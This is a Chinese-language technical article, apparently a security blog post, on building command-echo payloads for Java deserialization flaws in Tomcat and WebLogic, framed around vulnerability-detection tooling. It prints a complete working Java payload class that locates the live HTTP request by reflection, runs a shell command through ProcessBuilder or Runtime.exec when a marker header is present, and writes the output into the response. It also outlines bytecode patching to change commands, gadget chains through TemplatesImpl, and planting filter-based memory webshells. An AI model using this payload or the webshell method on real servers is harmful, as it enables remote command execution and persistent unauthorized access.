Java 反序列化回显链研究:漏洞检测工程化
字数 1514 2025-08-10 08:28:04

Java反序列化回显链研究与漏洞检测工程化

1. 回显方案选择

在反序列化漏洞利用实战中,经常会遇到目标不出网的情况,此时需要选择合适的回显方案:

常见回显方案对比

  1. 反弹shell:需要出网,依赖TCP/DNS/ICMP等协议
  2. DNSlog回显:需要出网,依赖DNS协议
  3. 延时盲注:效率太低,不切实际
  4. 写入web目录:需要先获取web路径
  5. 直接写入响应包:最优方案,通过web端口通信

最优方案分析

由于web端口可以与外界通信(接收请求包,返回响应包),最佳方案是通过:

  • 请求包发送命令
  • 响应包回传执行结果

2. 通过Java代码执行回显

多框架回显模板

针对不同web框架需要制作不同模板,以下是合并了Tomcat和WebLogic框架的payload:

import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

public class MultiEchoTempl {
    static String cmd ="whoami";
    
    public MultiEchoTempl(){
        start();
    }
    
    static {
        start();
    }
    
    private static void start(){
        try{
            Class.forName("org.apache.tomcat.util.buf.ByteChunk");
            tomcat();
            return;
        } catch (Exception ignored){ }
        
        try {
            Class.forName("weblogic.work.ExecuteThread");
            WeblogicEchoTemplate();
            return;
        } catch (Exception ignored){ }
    }
    
    // Tomcat框架回显实现
    private static void tomcat() {
        try{
            Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");
            for (Thread var7 : var5) {
                if (var7 != null) {
                    String var3 = var7.getName();
                    if (!var3.contains("exec") && var3.contains("http")) {
                        Object var1 = getFV(var7, "target");
                        if (var1 instanceof Runnable) {
                            try {
                                var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
                            } catch (Exception var13) { continue; }
                            
                            List var9 = (List) getFV(var1, "processors");
                            for (Object var11 : var9) {
                                var1 = getFV(var11, "req");
                                Object var2 = var1.getClass().getMethod("getResponse").invoke(var1);
                                String var15 = (String) var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Accept-Language");
                                if (var15 != null && var15.equals("zh-CN,zh;q=1.9")) {
                                    var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
                                    String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? 
                                        new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                                    writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
                                    return;
                                }
                            }
                        }
                    }
                }
            }
        }catch (Exception e){ e.printStackTrace(); }
    }
    
    // 写入响应体
    private static void writeBody(Object var0, byte[] var1) throws Exception {
        Object var2; Class var3;
        try {
            var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
            var2 = var3.newInstance();
            var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE)
                .invoke(var2, var1, new Integer(0), new Integer(var1.length));
            var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
        } catch (NoSuchMethodException var5) {
            var3 = Class.forName("java.nio.ByteBuffer");
            var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
            var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
        }
    }
    
    // 反射获取字段值
    private static Object getFV(Object var0, String var1) throws Exception {
        Field var2 = null;
        Class var3 = var0.getClass();
        while(var3 != Object.class) {
            try {
                var2 = var3.getDeclaredField(var1);
                break;
            } catch (NoSuchFieldException var5) {
                var3 = var3.getSuperclass();
            }
        }
        if (var2 == null) {
            throw new NoSuchFieldException(var1);
        } else {
            var2.setAccessible(true);
            return var2.get(var0);
        }
    }
    
    // WebLogic框架回显实现
    public static void WeblogicEchoTemplate(){
        try{
            Object adapter = Class.forName("weblogic.work.ExecuteThread").getDeclaredMethod("getCurrentWork").invoke(Thread.currentThread());
            Object res;
            if(!adapter.getClass().getName().endsWith("ServletRequestImpl")){
                Field field = adapter.getClass().getDeclaredField("connectionHandler");
                field.setAccessible(true);
                Object obj = field.get(adapter);
                adapter = obj.getClass().getMethod("getServletRequest").invoke(obj);
            }
            String var15 = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, "Accept-Language");
            if (var15 != null && var15.equals("zh-CN,zh;q=1.9")) {
                String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                res = adapter.getClass().getMethod("getResponse").invoke(adapter);
                Object sin = Class.forName("weblogic.xml.util.StringInputStream").getConstructor(String.class).newInstance(result);
                Object out = res.getClass().getDeclaredMethod("getServletOutputStream").invoke(res);
                out.getClass().getDeclaredMethod("writeStream",Class.forName("java.io.InputStream")).invoke(out,sin);
                out.getClass().getDeclaredMethod("flush").invoke(out);
                Object w = res.getClass().getDeclaredMethod("getWriter").invoke(res);
                w.getClass().getDeclaredMethod("write",String.class).invoke(w,"");
            }
        }catch(Exception e){ e.printStackTrace(); }
    }
}

恶意请求识别

由于静态代码块无法直接获取当前Request,需要通过上下文获取所有web请求并筛选:

  1. 标记方式

    • 添加特定header(如cmd: aaa
    • 使用请求体作为标记(需构造payload时加入标志符)
  2. 伪代码实现

threads = Thread.getThreads()
var thread 
// 找出处理http请求的线程
foreach t : threads{
    if t.getName().content("http"){
        thread = t
        break
    }
}
reqs = t.getRequests()
// 找出header中含有标记的请求
foreach req : reqs{
    if req.getHeaders().get("cmd") != null{
        req.getResponse().setBody(eval("whoami"))
        break
    }
}

3. 动态生成字节码技术

修改命令

  1. 命令获取方式

    • 从header中获取
    • 从cookie中获取(可加密)
    • 硬编码在恶意类中
  2. 字节码修改

    • 对比不同命令生成的字节码
    • 字符串前两个字符表示长度(最大65535)
    • 使用Python脚本修改字节码中的命令

修改类名

由于静态代码块只执行一次,需要动态修改类名以实现多次执行:

  1. 修改点

    • 类名在class文件中出现三处
    • 每处前面都有表示长度的字符
  2. 实现方式

    • 修改class文件中三处类名
    • 同时修改类名前的长度标识

4. 利用链选择

类加载利用

适用于任意类加载漏洞,如:

  • JNDI注入利用Reference对象加载远程class

反序列化利用

需要sink是TemplatesImpl,常见方式:

  1. InvokerTransformer.transform() -> TemplatesImpl.newTransformer()
  2. InstantiateTransformer.transform() -> TrAXFilter -> TemplatesImpl.newTransformer()

所有CC链都可以通过修改途经这两条路径实现代码执行。

5. 内存马技术

内存马是另一种解决方案,以filter内存马为例:

  1. 实现流程

    • 从线程上下文中获取addFilterDef方法
    • 自定义Filter实现Filter接口
    • 将自定义Filter添加到应用中
  2. 特点

    • 更适合做webshell
    • 避免多次类加载占用JVM永久区内存

6. 总结

技术对比

技术 适用场景 优点 缺点
回显payload 漏洞检测 无需持久化 多次加载占用内存
内存马 webshell 持久化 需要清理机制
动态字节码 工具集成 不依赖Java环境 实现复杂

工程化建议

  1. payload形式

    • 更适合漏洞检测
    • 避免多次加载导致内存问题
  2. 手动修改字节码

    • 可脱离JDK环境
    • 适用于检测工具开发
  3. Java环境限制

    • 类名按限定名只加载一次
    • 动态类名实现较复杂

7. 测试环境与资源

测试环境

  • Docker镜像:vulhub/tomcat, vulhub/weblogic
  • 测试代码:本地创建JavaWeb项目,打包为war部署

YAK官方资源

Java反序列化回显链研究与漏洞检测工程化 1. 回显方案选择 在反序列化漏洞利用实战中,经常会遇到目标不出网的情况,此时需要选择合适的回显方案: 常见回显方案对比 反弹shell :需要出网,依赖TCP/DNS/ICMP等协议 DNSlog回显 :需要出网,依赖DNS协议 延时盲注 :效率太低,不切实际 写入web目录 :需要先获取web路径 直接写入响应包 :最优方案,通过web端口通信 最优方案分析 由于web端口可以与外界通信(接收请求包,返回响应包),最佳方案是通过: 请求包发送命令 响应包回传执行结果 2. 通过Java代码执行回显 多框架回显模板 针对不同web框架需要制作不同模板,以下是合并了Tomcat和WebLogic框架的payload: 恶意请求识别 由于静态代码块无法直接获取当前Request,需要通过上下文获取所有web请求并筛选: 标记方式 : 添加特定header(如 cmd: aaa ) 使用请求体作为标记(需构造payload时加入标志符) 伪代码实现 : 3. 动态生成字节码技术 修改命令 命令获取方式 : 从header中获取 从cookie中获取(可加密) 硬编码在恶意类中 字节码修改 : 对比不同命令生成的字节码 字符串前两个字符表示长度(最大65535) 使用Python脚本修改字节码中的命令 修改类名 由于静态代码块只执行一次,需要动态修改类名以实现多次执行: 修改点 : 类名在class文件中出现三处 每处前面都有表示长度的字符 实现方式 : 修改class文件中三处类名 同时修改类名前的长度标识 4. 利用链选择 类加载利用 适用于任意类加载漏洞,如: JNDI注入利用Reference对象加载远程class 反序列化利用 需要sink是TemplatesImpl,常见方式: InvokerTransformer.transform() -> TemplatesImpl.newTransformer() InstantiateTransformer.transform() -> TrAXFilter -> TemplatesImpl.newTransformer() 所有CC链都可以通过修改途经这两条路径实现代码执行。 5. 内存马技术 内存马是另一种解决方案,以filter内存马为例: 实现流程 : 从线程上下文中获取addFilterDef方法 自定义Filter实现Filter接口 将自定义Filter添加到应用中 特点 : 更适合做webshell 避免多次类加载占用JVM永久区内存 6. 总结 技术对比 | 技术 | 适用场景 | 优点 | 缺点 | |------|---------|------|------| | 回显payload | 漏洞检测 | 无需持久化 | 多次加载占用内存 | | 内存马 | webshell | 持久化 | 需要清理机制 | | 动态字节码 | 工具集成 | 不依赖Java环境 | 实现复杂 | 工程化建议 payload形式 : 更适合漏洞检测 避免多次加载导致内存问题 手动修改字节码 : 可脱离JDK环境 适用于检测工具开发 Java环境限制 : 类名按限定名只加载一次 动态类名实现较复杂 7. 测试环境与资源 测试环境 Docker镜像:vulhub/tomcat, vulhub/weblogic 测试代码:本地创建JavaWeb项目,打包为war部署 YAK官方资源 Yak语言官方教程 Yakit视频教程 Github下载 Yakit官网 安装文档 使用文档 常见问题